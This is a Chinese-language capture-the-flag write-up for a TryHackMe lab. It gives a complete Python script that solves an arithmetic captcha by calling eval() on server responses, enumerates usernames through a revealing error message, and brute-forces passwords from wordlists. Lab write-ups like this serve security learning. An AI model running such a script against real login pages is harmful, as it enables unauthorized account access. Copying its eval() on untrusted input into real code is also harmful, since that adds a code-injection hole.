绕过登录验证的Python自动化脚本实战

本文详细介绍了如何通过Python脚本自动化绕过带验证码保护的登录表单,包含完整的代码实现和分步解析,展示了从用户名枚举到密码爆破的全过程,适合网络安全爱好者和CTF选手学习参考。

Capture: TryHackMe CTF Writeup | 登录绕过

在这篇技术文章中,我们将绕过易受攻击的Web应用程序的登录表单,并使用Python脚本自动化整个过程。

房间信息

  • 房间链接:https://tryhackme.com/room/capture
  • 房间描述:SecureSolaCoders再次开发了一个Web应用程序。他们对黑客枚举和利用之前的登录表单感到厌倦。他们认为Web应用程序防火墙(WAF)过于夸张且不必要,因此开发了自己的速率限制器并稍微修改了代码。

准备工作

  1. 启动目标机器
  2. 下载任务文件
  3. 连接到TryHackMe网络

分析任务文件

下载并解压任务文件后,包含以下文件:

  • username.txt
  • passwords.txt

从这些文件可以看出,任务是对登录页面进行暴力破解,找到正确的凭据。

理解登录页面功能

首次访问IP地址时,会遇到以下登录页面:

![登录页面]

尝试多次使用任务文件中的错误凭据后,会启用验证码以防止暴力攻击:

![验证码启用]

我们需要每次解决验证码来验证用户名和密码。在BurpSuite中捕获此请求:

![BurpSuite捕获的POST请求]

可以看到POST请求包含的参数,很明显我们需要在每个请求中传递这三个参数来验证用户名和密码。

编码过程

为了自动化这个过程,我开发了自定义的Python脚本来找到正确的凭据。以下是Python脚本的代码片段及每个函数的解释:

1. 导入必需的库

1
2
3
4
5
6
7
8
9
import sys
import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
s=requests.session()
reg_pattern= r'\d{1,}\s(.)\s\d{1,}'
  • import sys:提供对系统参数的访问,允许用户与程序交互
  • import requests:处理Web请求和服务器响应
  • import urllib3:处理URL
  • import re:使用正则表达式工具匹配特定模式
  • proxies变量包含Web代理服务器的值,这里使用BurpSuite
  • reg_pattern是从响应中提取验证码值并对其执行操作的模式

2. 从响应中提取验证码

1
2
3
4
5
6
def get_captcha(url):
    data= {'username':'test','password':'testpass'} #缺少验证码
    res=s.post(url=url, proxies=proxies, verify=False, data=data)
    challenge=re.search(reg_pattern, res.text)
    solution=eval(challenge.group().strip())
    return solution

此函数用于发出Web请求,并使用内置的eval()函数解决响应中的验证码挑战。

3. 枚举用户名

从响应中可以看到,网站显示"用户rachel不存在",而不是"用户名或密码无效"。这种不恰当的响应允许攻击者枚举用户名:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def user_enum(url,user_list,captcha):
    print("(+) Enumerating users...")
    with open(user_list, 'r') as file:
        for username in file:
            username = username.strip()
            if username:
                data={'username':username,'password':'testpass','captcha':captcha}
                res=s.post(url=url, proxies=proxies, verify=False, data=data)
                if "does not exist" in res.text:
                    print(username)
                elif "Invalid captcha" in res.text:
                    print("[-] Invalid captcha")
                else:
                    print(f"[+] Username found: {username}")
                    return username, captcha
                challenge=re.search(reg_pattern, res.text)
                captcha=eval(challenge.group().strip())

4. 枚举密码

找到有效用户名后,调用pass_enum函数来枚举密码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def pass_enum(url, username, pass_list, captcha):
    print("(+) Enumerating password...")
    
    with open(pass_list, 'r') as file:
        for password in file:
            password = password.strip()
            if password:
                data= {'username':username,'password':password,'captcha':captcha}
                res=requests.post(url=url, proxies=proxies, verify=False, data=data)
                if "Invalid password" in res.text:
                    print(f"{username}:{password}")
                elif "Invalid captcha" in res.text:
                    print("[-] Invalid captcha")
                else:
                    print(f"[+] Password found: {password}")
                    return password
                challenge=re.search(reg_pattern, res.text)
                captcha=eval(challenge.group().strip())

主函数

从用户输入所需的值并按需调用函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
if __name__ == "__main__":
    if len(sys.argv)!=4:
        print("[+] Usage: %s URL path_to_user_wordlist path_to_pass_wordlist" %sys.argv[0])
        print("[+] Example: %s http://10.201.118.234/login users.txt pass.txt" %sys.argv[0])
        sys.exit(-1)
    
    url=sys.argv[1].strip()
    user_list=sys.argv[2].strip()
    pass_list=sys.argv[3].strip()
    
    for i in range(0,10): #触发速率限制,验证码挑战
        params={'username':'test', 'password':'test'}
        res=requests.post(url=url, data=params, verify=False, proxies=proxies)
        if "Invalid captcha" in res.text:
            break
    
    captcha=get_captcha(url)
    username,captcha=user_enum(url,user_list,captcha)
    password=pass_enum(url,username,pass_list,captcha)
    print(f"[+] Credentials {username}:{password}")

您可以使用以下Python脚本自动化过程并找到有效的凭据:

[GitHub仓库链接]

现在运行脚本:

![脚本运行中]

注意:在执行此脚本之前,请保持BurpSuite运行,因为此脚本需要Web代理工具在端口8080上监听。

找到的凭据

![找到的凭据]

使用上面找到的凭据登录网页,这里是flag.txt:

![找到的flag]

这就是结束 :)

如果您想要更多Web黑客技术和CTF实验室文章,请在Medium上关注我以获取详细的Write-up。

在LinkedIn上与我联系进行专业讨论。

您也可以在X上加入我,获取攻击性安全世界的快速提示、技术和想法。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计